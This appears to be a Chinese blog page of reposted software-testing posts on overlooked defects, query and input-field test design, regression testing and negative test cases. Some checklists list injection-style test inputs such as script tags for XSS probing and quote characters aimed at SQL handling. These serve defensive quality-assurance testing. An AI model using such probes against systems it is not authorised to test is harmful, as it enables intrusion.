       这篇文章写的非常不错,转过来学习下。

       通常软件测试会暴露软件中的缺陷,经过修正后可以保证软件系统的功能满足需求并正确运行。但是,在系统测试和确认测试中,测试人员容易遗漏一些隐藏的缺陷。众所周知,软件测试不可能发现所有的缺陷,而软件开发周期各个阶段仍然存在注入缺陷的可能,但是,有一些缺陷是测试中容易忽略的,也就是说,通过测试方法和用例可以充分暴露这些缺陷,遗憾的是,它们往往被忽略或者某种原因忘记测试了,这就给软件留下了隐患或者危机。这些容易被忽略的缺陷包括:

      1、安装缺陷

      通常项目组完成代码后,发布时候安装打包是最后一个环节,而软件测试人员通常在测试的时候,没有仔细的测试这一部分,而把用例集中在其他功能上。安装时候的缺陷通常通过拷贝而不是运行安装程序方式给测试人员安装软件,结果正式安装时候出现问题,引起例如控件没有注册,注册表没有导入等。删除时候没有注意安装文件夹是否存在用户文件,造成数据丢失;使用绝对路径;安装顺序没有说明书。

      2、配置文件

      有些文件在ini等配置文件中写出了管理员口令密码等信息,而且是明文的!这是一个安全隐患。另外,有些安装文件的XML文件,为了方便在数据库和中间层连接文件中写入了Admin口令和密码。作为一个合格的软件测试人员,必须检查这些可以用记事本打开的文件。因为,一个稍有常识而且喜欢探索的用户,可能从中获取信息而成为不自觉的黑客。所以,配置文件可能成为软件安全方面的一个缺陷。

      3、网页安全缺陷

      现在网站开发已经注意到:登陆网站进入其内部网页后,直接拷贝网址,然后粘贴到另一IE窗口输入,可以绕过登陆直接访问。也许商业网站很关注这个问题,但是很多行业软件却很容易忽略。

      网页安全缺陷还可能存在于IE弹出的子窗口。有些设计不严格的软件,在主页面关闭的时候子页面还可以运行,这是一个明显的漏洞,而且还大大增加了错误发生的几率。

      4、判断顺序/逻辑缺陷

      对界面进行多个输入判断的时候,非常容易出现这种问题。例如判断年月顺序,判断长度,判断非空等。假如操作员仅仅满足单个条件,保存不能成功;而按界面从上之下顺序一一满足条件之后,保存是没有问题的。但是,改变一下输入的次序,校验失效。例如,一一满足条件之后,不保存,倒过来将上面的输入改成非法输入,然后保存,结果居然也能成功,这是因为原先的判断由于发生过,或者根据语句顺序只检查最后一个判断,所以没有报错。这种错误尤其在Java scrīpt脚本的页面中要注意。能够保存不能保证数据正确,有可能引起系统崩溃或者后续数据错误。所以,在测试的时候,不要按照正常的顺序输入,而是要打乱步骤,看看代码是否强健,是否在判断逻辑上没有错误。良好的代码应该经得起折腾,至少保存时会再此全部进行判断,而不只是简简单单走到判断的最后一行。

      5、调试语句和冗余信息

      维护项目和升级改造的推广系统最容易潜伏这类缺陷。典型表现在没有删除或者屏蔽调试语句。弹出一个界面不友好的提示信息,会使不明真相的用户产生误以为系统发生了严重故障,从而引起对软件的不信任感。页面中某个角落存在当前客户不需要的冗余按钮和功能也是一种缺陷。多余的功能会使用户以为是额外附加部分而去使用,其结果可想而知;而多余的按钮会误导好奇心强的用户操作,产生不必要的错误。

      同样值得关注的还有参数设置,由于没有实际数据,开发人员在调试或者单元测试的时候,习惯性的进行自我设定而忘了删除,软件测试人员可能会忽略掉了这部分测试,也可能导致在客户现场发生错误而影响系统发布和验收。

      6、不可重现的故障

      新参加软件测试的人员或者新来的开发人员总是要问,不可重现的缺陷是否需要记录,有必要吗?回答是肯定的。测试必须如实的记录发生的问题,也许不能重现,或者使非软件系统本身问题,但是,可能这些偶然性背后是有规律的,不记录这些,就不可能发现这些规律。

      7、多节点的逆向流转缺陷

      当前软件不少喜欢使用工作流来驱动。工作流的问题,就是可能出现多个流向分支。测试容易忽略的部分,就是工作流多节点的逆向流转。例如,通过不通过涉及两个分支,但是流程逆转的时候,有可能不是回到上一节点而是平级的另一个节点去了。软件测试要格外注意这类用例的设计。另外,有些时候默认分支在向前的时候是有默认值的,例如默认通过,那么保存的时候要提示用户是否通过,否则可能由于操作疲劳而走错了节点,引起回退。

      8、输入框缺陷

      试过往输入框粘贴数据而不是直接输入吗?可能这里会出现问题。按Ctrl+V的时候,输入框会根据长度大小自动截断输入长度。但是用鼠标,截断可能会失效。有一次测试人员就是用这种方法把一篇Word文档输入进去了,保存的时候,数据库崩溃。有些网站登陆的口令****可以拷贝下来的,只要放在剪贴板里面马上明文显示。(在以后的测试中需要注意的)

      输入框可以说是问题最多的部分,能够引起的麻烦也很多。日期、数字、文本等等,都需要耐心的测试一下。

      9、界面布局缺陷

      曾经有一次,项目经理回来向测试部反映一个问题,客户对界面不满意。原因很简单,因为界面上删除按钮和保存按钮挨得很近。结果有些操作不熟练的业务人员,很容易误按。这个问题是测试人员没有意料到的,因此注意关闭、删除、退出按钮与保存、下一步等按钮的距离。类似的按钮应按此规则排列分布。

      界面布局还可能发生在窗口最大化和最小化上,有可能窗口缩小的时候没有下拉框或不匹配分辨率,对用户来讲,这个错误实在很低级。有些用户由于操作习惯,非常不喜欢腾出手使用鼠标,尤其是大量输入的界面,因此,要注意设置键盘的快捷方式。还有,按Tab定位到下一焦点时要注意顺序,避免跳转太灵活而让操作人员感到无从适应,在界面进行维护或者修改的时候,不要忘了软件测试开发人员是否无意改变了这些快捷方式和跳转顺序。

      10、版本和补丁包的环境问题

      理论上讲,这属于兼容性测试应该覆盖的问题。有些客户很喜欢更新最新的软件版本或者微软时不时打些补丁包,问题就出现了。有时候升级不一定是好事。这些问题最好在测试的时候增加几个用例,多用不同软件版本的机器跑一跑。软件测试有个定律是:你没跑过的地方,就一定会出事。经常听到开发人员抱怨,怎么我的机器没问题,你的机器就有事了呢?这不能完全靠配置管理员解决问题,环境配置项是大家最容易忽略的。

      11、用户管理缺陷

      用户管理的角色和授权需要好好研究一下,作过测试的人员都知道,有时候为了测试的方便,测试用户都是具有超级权限的用户。而且,比较容易忽略用户管理这一部分的测试。往往发往客户的时候,很多测试用户都没有删除。

      另外,有些接口的用户和口令,到软件使用寿命结束都没有更改过。在一次测试中,软件测试人员发现,给一个用户授超级用户权限,之后更改这个用户为受限权限。使用中发现,用户居然没有真正回收权限,用户管理界面上没有任何不对。及早准备用户管理用例,不要等到测试快结束时候才想起。

      12、常识缺陷

      从逻辑或者统计学上讲,计算机是允许如此处理的,但是从常识上来讲,这些情况不可能发生。例如电话号码不可能出现小数点,终止时间不能大于开始时间等等。除此之外,常识还要结合业务特点来进行判断,因此,开发和测试人员要格外注意对自己知识的培养以及增加对需求细节的了解。不能因为一味追求进度而采用最简单的代码来实现,对用户来说,这些错误可能是很荒谬的。

      尽管我们不可能完美的测试一个软件,但是我们仍然可以改进我们的软件测试。每次测试结束,及时总结测试中的不足,进一步完善用例。思考一下那些容易忽略的软件缺陷,能提高对软件测试的认识,提高所在组织软件的质量。

  • 查询测试用例设计 转+自创

    navy2008 发布于 2009-10-26 16:52:33

      以下总结中,输入一些特殊符号进行查询,是我没有想到的:

    查询输入

      (1)分别对单条件进行精确查询

      (2)输入长度的检验,输入允许的最长值进行查询,是否支持

      (3)两个查询条件是否为2选1,来回选择是否出现页面错误

      (4)输入字符

      (5)输入特殊字符

      (6)输入数字

      (7)输入汉字

      (8)输入关系表达式 与、或、异或、非、等于

      (9)输入空格

      (10)条件中含有空格

      (11)输入超长字符

      (12)输入全角字符

      (13)输入单引号

      (14)输入单引号引起来的数据

      (15)输入双引号

      (16)输入双引号引起来的数据

      (17)如果支持模糊查询,输入部分查询条件

      (18)输入系统中不存在与之匹配的条件

      查询结果检查

      (1)查询结果按什么顺利排序

      (2)查询结果是否根据字段显示排序功能

      (3)查询结果是否有分页,如果有,每页最多包含多少记录

      (4)查询结果是否匹配

      (5)查询结果是否与数据库一致

      (6)查询结果是精确查询还是模糊查询

      UI验证

      (1)文字显示是否正确

      (2)页面是否有错别字

      (3)输入框大小、文字大小是否合适

      (4)页面是否美观

      (5)查询结果字段显示是否与需求一致

      性能方面

      (1)查询处理时间是否能接受

      (2)数据库中存在大数据量数据时,查询时间是否能接受

      (3)当多个用户同时查询时,输入相同或不同的查询条件系统响应是否及时

    以下是我自己总结的:

    对于查询功能,同样可以从以下几个方面来进行用例的设计:

    1、功能方面考虑:应用边界值和等价类划分法进行用例的设计

    边界值:输入最大长度的文本,能否搜出来?输入空格或空,能否搜索出来?

    等价类:要考虑到一些特殊符号的输入查询。

    2、易用性方面

    3、界面方面

    4、安全角度:比如输入一些脚本语言,看是否执行,主要是防XSS攻击问题

    5、性能角度:查询效率、并发、响应时间问题的考虑






  • Web 测试总结(1)

    navy2008 发布于 2010-07-29 16:17:41

      测试是一种思维,包括情感思维和智力思维,情感思维主要体现在一句俗语:思想决定行动上(要怀疑一切),智力思维主要体现在测试用例的设计上。具有了这样的思想,就会找出更多的bug。(^_^个人认为,不代表官方立场)

      对于一个web网站来说,主要从这么几个大的方面来进行测试:

    1、 功能测试;2、 界面测试;3、 易用性测试;4、兼容性测试;5、 链接测试;6、 业务流程测试;7、 安全性测试

    下面主要从以上七个方面进行叙述:

     

    一、功能测试

    测试用例是测试的核心,测试用例的设计是一种思维方式的体现,在用例的设计中,用的比较多的方法是边界值分析法和等价类划分法,下面主要从输入框,搜索功能,添加、修改功能,删除功能,注册、登录功能以及上传图片功能等11个方面进行总结说明。

    1、输入框

    输入框是测试中最容易出现bug的地方,所以在测试时,一定要多加注意。

     

    控件类型

    大分类

    小分类

    检查内容

    输入框

    字符型输入框

    字符种类

    英文全角字符

    英文半角字符

    数字

    汉字

    空或空格

    特殊字符“~!@#$%^&*()_+-={}[]|\:;”’<>,./?;”等可能导致系统错误的字符,特别要注意单引号和&符号。

    禁止直接输入特殊字符时,使用“粘贴”、“拷贝”功能尝试输入,并测试能否正常提交保存。

    长度检查

    最小长度-1

    最小长度

    最大长度

    最大长度+1

    输入超长字符:比如把整篇word文档copy过去

    空格检查

    输入的字符间有空格

    字符前有空格

    字符后有空格

    字符前后都有空格

    多行文本框输入

    允许回车换行

    保存后再显示能够保持输入时的格式

    仅输入回车换行,检查能否正确保存;若能,查看保存结果。若不能,查看是否有正确提示

    安全性检查

    输入特殊字符串:nullNULL&nbspjavascript<script></script><title><html><td>

    输入脚本函数:<script>alter("abc")</script>document.write("abc")<b>hello</b>

    数值型输入框

    边界值

    最小值-1

    最小值

    最大值

    最大值+1

    位数

    最小位数+1

    最小位数

    最大位数

    最大位数+1

    输入超长值

    异常值、特殊值

    输入[空白(NULL)]、空格或‘“~!@#$%^&*()_+-={}[]|\:;”’<>,./?;”等可能导致系统错误的字符

    禁止直接输入特殊字符时,使用“粘贴”、“拷贝”功能尝试输入,并测试能否正常提交保存。

    word 中的特殊功能,通过剪贴板拷贝到输入框:分页符,分节符,类似公式的上下标等

    输入负整数、负小数、分数

    输入字母或汉字

    带符号的数值:带正号的正数,带负号的负数

    小数:小数点前零舍去的情况,如 .12;多个小数点的情况;0值:0.00..0

    首位为零的数值:如0102

    科学技术法是否支持:如  1.0E2

    全角数字和半角数字的情况

    数字与字母的混合:16进制数值,8进制数值

    货币型输入项:允许小数点后几位

    安全性检查同上

    不能直接输入,就copy

    日期型

    合法性检查

    日输入[0]

    日输入[1]

    日输入[32]

    月输入[135781012]、日输入[31]

    月输入[46911]、日输入[30]

    月输入[46911]、日输入[31]

    输入非闰年,月输入[2]、日输入[28]

    输入非闰年,月输入[2]、日输入[29]

    (闰年)月输入[2]、日输入[29]

    (闰年)月输入[2]、日输入[30]

    月输入[0]

    月输入[1]

    月输入[12]

    月输入[13]

    异常值、特殊值

    输入[空白(NULL)]或“~!@#$%^&*()_+-={}[]|\:;”’<>,./?;”等可能导致系统错误的字符

    安全性检查同上

     

     

     

    2、搜索功能

    1)比较长的名称是否能查到?

    2)空格 或空

    3)名称中含有特殊字符,如:' $ % & *以及空格等

    4)关键词前面或后面有空格

    5)如果支持模糊查询,搜索名称中任意一个字符是否能搜索到

    6)输入系统中不存在与之匹配的条件

    7)两个查询条件是否为21,来回选择是否出现页面错误

    8)输入脚本语言,如:<script>alter(abc)</script>

     

    3、添加、修改功能

    1)是否支持tab

  • 没有需求文档的时候如何来设计测试用例?

    zte_boy 发布于 2008-11-22 23:08:39

    这个问题出题很新颖,着重是考察公司的测试Leader应对突发事件的能力?
    以前我们公司招测试Leader的面试题目中也有类似的一个题目?我面试了很多人,回答都不是很理想,都只能够回答上几句话,并且都有“需求不明确”等同感,只是工作中太忙缺少总结,给出一个常见的很熟悉的问题,马上作答不知道如何说起。

    下面是我的一些看法,恳请各位同行批评指正:
    1.根据客户的功能点整理测试需求追朔表:
    一般的客户都要把要开发软件的功能点写成一个表格交给市场部,让市场部门转交研发部。所以客户的功能点是编写测试用例一个最最重要的依据。

    2.根据开发人员的Software Specification List整理我们的功能测试点:
    一般来说,开发人员实现一个功能都要把该功能分成几个子模块来实现,所以Software Specification List也是我们参考的另一个比较重要的依据。

    3.开展项目跨部门讨论会:
    可以抽出时间,叫市场部的项目负责人、产品经理、项目经理、软件开发经理和软件开发人员,分别讲讲他们对整个产品的认识和设计模式,对每个功能点的理解和认识,理顺思路,达成共识,测试人员负责记录,测试Leader负责整理汇总,形成测试的部分参考文档。

    4.测试人员整理用例需求疑问递交项目组和客户代表回复:
    测试人员根据项目讨论会后的理解,测试过程中可能碰到的问题(如:边界值、输入数据类型等等)和需求不明确的问题,整理用例需求疑问,让相关的模块负责人在“用例需求疑问”表格中回复,并给出详细解释和说明。

    5.项目内部用例评审:
    测试人员根据对项目的理解,编写测试用例要点,测试组内部评审修改后,可以召集项目组的成员,帮助Review一下,然后进行修改。经过多次修改和评审以后,测试用例要点可能会更加全面一些。

    6.邮件和客户代表确认部分争议问题:
    测试人员与开发人员、项目组成员,在需求问题上讨论有时候观点不一致,各说各有理,这种情况下最好把争议问题写成邮件,发给客户让客户来拍板,确定那种需求合理,到底如何做?抄送项目组的全体成员,方便大家都了解客户的意见。最后编写测试用例的时候,以客户的邮件内容为准。

    7.项目Demo和部分已开发系统:
    大部分的系统,由于没有需求,为了避免项目风险,开发方一般都要做成Demo,不断让客户确认后签字,不断展现新开发的功能,以达到吸引客户的目的。如果项目中有Demo,Demo也是参考标准。如果什么都没有,那已经开发的部分功能模块,要去随时让用户了解了解,并提出部分修改意见,也可以为我们熟悉系统提供部分依据。

    8.参考同行业和竞争对手的类似产品:
    假如说是做一个网上书店类似的网站,我们编写测试用例的时候,可以看看“当当网”,“China—pub”等等类似成熟相关的网站。很容易发现本公司产品的问题,无意识给产品添加了竞争力。对于竞争对手的了解一定不能够少。

    9.交叉模块的测试,最容易被人忽略:
    一般的产品,功能部分的交叉,即是说在A模块中设置了参数,在B模块和C模块中体现该参数的实际运用。比较难的如我们现在测试的“银行系统”中的交叉模块,还可能牵涉到不同的用户,3个以上的模块之间的调用。即是有了需求也很少写,同时也是需求编写的一个薄弱环节。这样的测试用例编写问题,一般初级测试工程师很难考虑全。对于有这种交叉功能的模块,必须要求项目组中的精兵强将,画出相关的调用关系图,表明调用关系,方便后面编写测试用例。

    10.可以使用电话、MSN、Skype等网络聊天工具咨询部分需求:
    我们做的产品,大多数的客户都在国外,测试经理也可以用这些网络聊天工具和客户确认部分需求疑问。不过要要事先越好时间,并注意异地的“时差”。

     

  • 使用qtp进行回归测试

    andycai 发布于 2008-08-31 21:54:53

    如何做回归测试并不是一个QTP的问题,而是一个回归测试的策略的问题.

    那么什么是回归测试呢?简单的说,回归测试是贯穿在整个测试的各个阶段的一个测试活动.它的目的是检验已经被发现的缺陷有没有被正确的修改和修改过程中有没有引发新的缺陷.软件在测试或者其他活动中发现的缺陷经过修改后,都要进行回归测试的验证.

        我们在做回归测试的时候可以采用不同的策略.

    策略(1) 可以选择完全重复测试.把所有的测试用例,全部再完全的执行一边,以确认问题修改的正确性和修改后周边是否受到影响.缺点是由于要把用例全部执行,所以会增加项目成本,也会影响项目进度.所以很难来完全执行,所以引出了回归测试策略(2) 选择性重复测试.

    策略(2) 可以选择性重复测试.可以选择一部分进行执行,以确认问题修改的正确性和修改后周边是否受到影响.那么我们怎样去选择用例呢?这里有三个方法:1.覆盖修改法 针对发生错误的模块,选取这个模块的全部用例进行测试.这样只能验证本模块是否还存在缺陷,但不能保证周边与它有联系的模块不会因为这次改动而引发缺陷.所以引出第2个方法,即2.周边影响法.除了把出错模块的用例执行之外,把周边和它有联系的模块的用例也执行一边,保证回归测试的质量.当然我们还可以用量化的角度去分析模块的质量,比如:经过上面的一系列回归测试后,看看遗留的缺陷率是否已经在允许的范围之内了,那么我们以此为标准可以结束本次回归测试.也就是我要提到的第三个方法 3.指标达成法.

       回归测试的流程

    1.在测试策略制定阶段,制定回归测试策略

    2.确定回归测试版本

    3.回归测试版本发布,按照回归测试策略执行回归测试

    4.回归测试通过,关闭缺陷跟踪单

    5.回归测试不通过,缺陷单返回开发人员.等重新修改,再次做回归测试.

    那么我们为什么会把工具和回归测试联系起来呢?原因是在回归测试中我们会去做大量的重复的执行测试用例的操作.为了让测试员能够从这种重复的工作中解放出来,去测试更多新的用例,我们所以可以选用一些自动化测试工具,来录制脚本,代替一部分手工操作.但事实上并不是这些工具只能用在回归测试中,在其他操作上也可以应用.但有一点是工具不能完全代替手工测试,它只是手工测试的一种补助.所以QTP作为一款功能测试工具,可以运用到回归测试中.
  • 10大负面测试用例[转]

    andycai 发布于 2008-02-15 11:13:18

    负面测试(Negative testing)是相对于正面测试(Positive testing)而言的。它们也是测试设计时的两个非常重要的划分。简单点说,正面测试就是测试系统是否完成了它应该完成的工作;而负面测试就是测试系统是否不执行它不应该完成的操作。形象一点,正面测试就象一个毕恭毕敬的小学生,老师叫我做什么,我就做什么;而负面测试就象一个调皮捣蛋的孩子,你叫我这样做,我偏不这样做,而且和你对着干。开发人员也是最讨厌修改此类bug的。
    正面测试主要根据需求,功能说明书,设计文档等相关参考文档来执行测试,而负面测试则主要根据错误猜测,逆向思维来测试系统,一定程序上的的依赖测试人员的经验积累。
    执行负面测试时,不单单要测试系统是否处理了用户的异常操作,还要检查系统对于这些异常操作是否给予了正确的错误提示。它是系统对用户进行继续正确操作的指引。
    简言之负面测试的三部曲就是:
    1. 检查程序中的屏幕或页面是否给出了清晰且充分的提示或约束;
    2. 测试系统是否处理了用户的异常操作;
    3. 检查系统的错误提示是否清晰且充分。
     
     
    负面测试用例被设计于用软件未意欲被使用的方式测试软件,它也应该是测试工作的一部分。以下就是在设计测试工作量时你应该考虑的10大负面测试用例。
    1.植入的单引号。大多数基于SQL的数据库系统在用户存储包含一个单引号的信息时会出现问题,例如John's car。每一个可以接受文字数字型数据条目的屏幕都要试试输入包含一个或多个单引号的文本。
    补充】其实不只是单引号,基本上测试人员应该测试所有的特殊字符和空/空格(单纯的空格和文本前后的空格)。单引号,逗号,/<>(对于web的应用程序)都是很容易引发错误的。在开发早期测试组就可以建议开发组写一个通用的函数来处理这些特殊字符,然后在处理用户的输入时套用这个函数就可以避免此类错误了。
     
    2.必需输入的数据条目。功能说明书上应该清楚的指出屏幕上必须输入数据条目的字段。测试屏幕上每一个被说明为必须输入的字段以保证它强制要求你在字段中输入数据。
    补充】对于强制输入的字段,在屏幕上最好有些标识以说明其为必须输入的字段。一般在字段前或后用红色的*号表示。测试时必须要检查有标识的字段是否和功能说明书或其他参考文档一致,错误信息提示是否正确,强制输入的字段是否真的必须输入。
     
    3.字段类型测试。功能说明书上应该清楚的指出要求特定数据输入要求(日期字段,数字字段,电话号码,邮编等等)的字段。测试屏幕上每一个被指出有特定类型的字段以保证你输入了基于字段类型的符合正确格式的数据(数字型字段应该不允许字符或特殊字符,日期型的字段应该允许输入一个正确的日期等等)
    补充】其实这里还有一个字段格式和字段内容的测试。有些字段对输入的格式有要求,这些字段的格式一般在屏幕上也有相应的提示。所以在测试时需要测试提示的格式是否合理(和功能说明书或其他参考文档相一致)以及系统是否正确识别输入的格式。有些字段对字段的内容有限制,如常见的用户名,不能包含特殊字符,首字不能未数字等要求。所以在测试时需要测试提示的格式是否合理(和功能说明书或其他参考文档相一致)还有不符合内容要求的数据输入时系统是否正确的处理。
     
    4.字段长度测试。功能说明书上应该清楚的指出可以在字段中输入的字符数(例如,first name必须是50个或更少的字符)。写测试用例以保证你只可以输入特定的字符数。防止用户输入比允许范围更多的字符比因用户已输入过多的字符而给出的错误信息更加的文雅些。
    补充】一般对于限制长度的字段,现在开发大多采用限制输入的方法(设置字段的长度)来处理。所以测试时需要测试限制的长度是否合理(和功能说明书或其他参考文档相一致),对于没有限制长度的字段,要测试无穷输入时是否出错,有问题报bug时建议开发人员根据需要限制长度。
     
    5.数字型的边界测试对于数字型的字段,测试上下边界是非常重要的。例如,如果你正在计算某个账户的利息时,你永远不会输入一个负的利息数给应该赢取利息的账户。因此,你应该尝试用负数测试。同样,如果功能说明书上要求字段在某一个特定的范围(如从10~50),你就应该尝试输入9或51,它应该给出一个得体的信息表示失败。
     
    6.数字的约束测试。大多数数据库系统和编程语言允许数字条目被识别为整数或长整数。通常,整数的范围是从-32,767~32,767,长整数的范围从-2,147,483,648~2,147,483,647。对于那些没有特定边界限制的数字数据条目,用这些限制测试以确保不会出现数字的溢出错误。
    补充】小数型的数字字段同样也需要格外的测试。一般对于未指出数字类型的字段,尝试输入负整数,负小数,0,正整数,正小数进行测试。
    不管是哪种数据库系统,对于数字一般都有多种数字类型。所以测试人员一定要测试的全面。
     
    7.日期边界测试。对于日期型的字段,测试上下边界是很重要的。例如,如果你正在检查一个出生日期的字段,很大可能出生日期不能早于150年前。同样,出生日期应该不是将来的某一天。
    补充】一般来说,每种数据库系统的日期都有个范围,如SQL Server最小日期是175311日,所以如果是输入型的日期字段同样也应该测试早于1753的日期。
     
    8。日期的有效性。对于日期字段,确保不允许无效的日期是很重要的(04/31/2007是一个无效的日期)。测试用例也应该检查闰年(每个第4年和第400年是一个闰年)。
     
    9。web会话测试。很多的web应用程序依赖浏览器的会话来追踪已登录的用户,应用程序的设置等等。应用程序的大多数屏幕不被设计为没有首次登录就可以被运行。应用程序应该确保在打开应用程序的某一页面之前会话里有一个有效的登录。
     
    10.性能的改变。当发布产品的最新版本时,应该有一套运行于识别屏幕(列出信息的屏幕,add/update/delete数据的屏幕等等)速度的性能测试。测试包里应该包括比较先前版本和现有版本性能统计值的测试用例。这个可以帮助识别那些可以证明是随着对现有版本的代码变更而引起的潜在的性能问题。
     
    补充】从第一条到第八条是我们在测试字段时常常需要做的测试,一般的测试人员都不陌生。第九条在测试web应用程序中会作为检查应用程序的安全性而做的一项测试。而第十条估计很多公司都不会将它考虑到测试的范畴中,一般最多也就是在测试用例中添加校验某一个操作是否在系统允许的响应时间里,很少去做这样的比较,除了一些有针对性的性能测试
Open Toolbar